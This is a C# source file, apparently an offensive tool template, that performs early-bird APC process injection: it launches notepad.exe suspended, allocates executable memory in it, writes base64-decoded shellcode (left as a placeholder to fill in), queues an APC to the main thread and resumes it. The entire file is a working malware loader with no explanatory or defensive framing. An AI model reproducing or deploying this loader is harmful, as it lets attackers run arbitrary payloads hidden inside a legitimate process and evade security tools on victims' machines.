using System;
using System.Runtime.InteropServices;

   public class TestClass
        {
            [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

            [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

            [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);

            [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

            [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

            [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern uint ResumeThread(IntPtr hThread);

            [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern bool CloseHandle(IntPtr hObject);

            [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
            public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

            public enum ProcessAccessRights
            {
                All = 0x001F0FFF,
                Terminate = 0x00000001,
                CreateThread = 0x00000002,
                VirtualMemoryOperation = 0x00000008,
                VirtualMemoryRead = 0x00000010,
                VirtualMemoryWrite = 0x00000020,
                DuplicateHandle = 0x00000040,
                CreateProcess = 0x000000080,
                SetQuota = 0x00000100,
                SetInformation = 0x00000200,
                QueryInformation = 0x00000400,
                QueryLimitedInformation = 0x00001000,
                Synchronize = 0x00100000
            }

            public enum ThreadAccess : int
            {
                TERMINATE = (0x0001),
                SUSPEND_RESUME = (0x0002),
                GET_CONTEXT = (0x0008),
                SET_CONTEXT = (0x0010),
                SET_INFORMATION = (0x0020),
                QUERY_INFORMATION = (0x0040),
                SET_THREAD_TOKEN = (0x0080),
                IMPERSONATE = (0x0100),
                DIRECT_IMPERSONATION = (0x0200),
                THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
                THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
            }

            public enum MemAllocation
            {
                MEM_COMMIT = 0x00001000,
                MEM_RESERVE = 0x00002000,
                MEM_RESET = 0x00080000,
                MEM_RESET_UNDO = 0x1000000,
                SecCommit = 0x08000000
            }

            public enum MemProtect
            {
                PAGE_EXECUTE = 0x10,
                PAGE_EXECUTE_READ = 0x20,
                PAGE_EXECUTE_READWRITE = 0x40,
                PAGE_EXECUTE_WRITECOPY = 0x80,
                PAGE_NOACCESS = 0x01,
                PAGE_READONLY = 0x02,
                PAGE_READWRITE = 0x04,
                PAGE_WRITECOPY = 0x08,
                PAGE_TARGETS_INVALID = 0x40000000,
                PAGE_TARGETS_NO_UPDATE = 0x40000000,
            }
            [StructLayout(LayoutKind.Sequential)]
            public struct PROCESS_INFORMATION
            {
                public IntPtr hProcess;
                public IntPtr hThread;
                public int dwProcessId;
                public int dwThreadId;
            }

            [StructLayout(LayoutKind.Sequential)]
            internal struct PROCESS_BASIC_INFORMATION
            {
                public IntPtr Reserved1;
                public IntPtr PebAddress;
                public IntPtr Reserved2;
                public IntPtr Reserved3;
                public IntPtr UniquePid;
                public IntPtr MoreReserved;
            }

            [StructLayout(LayoutKind.Sequential)]
            //internal struct STARTUPINFO
            public struct STARTUPINFO
            {
                uint cb;
                IntPtr lpReserved;
                IntPtr lpDesktop;
                IntPtr lpTitle;
                uint dwX;
                uint dwY;
                uint dwXSize;
                uint dwYSize;
                uint dwXCountChars;
                uint dwYCountChars;
                uint dwFillAttributes;
                public uint dwFlags;
                public ushort wShowWindow;
                ushort cbReserved;
                IntPtr lpReserved2;
                IntPtr hStdInput;
                IntPtr hStdOutput;
                IntPtr hStdErr;
            }


            public static PROCESS_INFORMATION StartProcess(string binaryPath)
            {
                uint flags = 0x00000004;

                STARTUPINFO startInfo = new STARTUPINFO();
                PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
                CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);

                return procInfo;
            }

            public TestClass()
            {
		
		            //Add the shellcode
                string b64 = "<Add the Shellcode>";

                byte[] shellcode = new byte[] { };
                shellcode = Convert.FromBase64String(b64);

                uint lpNumberOfBytesWritten = 0;

                PROCESS_INFORMATION processInfo = StartProcess("C:/Windows/System32/notepad.exe");

                IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);

                IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);

                if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
                {

                    IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);

                    IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);

                    ResumeThread(tHandle);

                }
                bool hOpenProcessClose = CloseHandle(pHandle);
            }
        }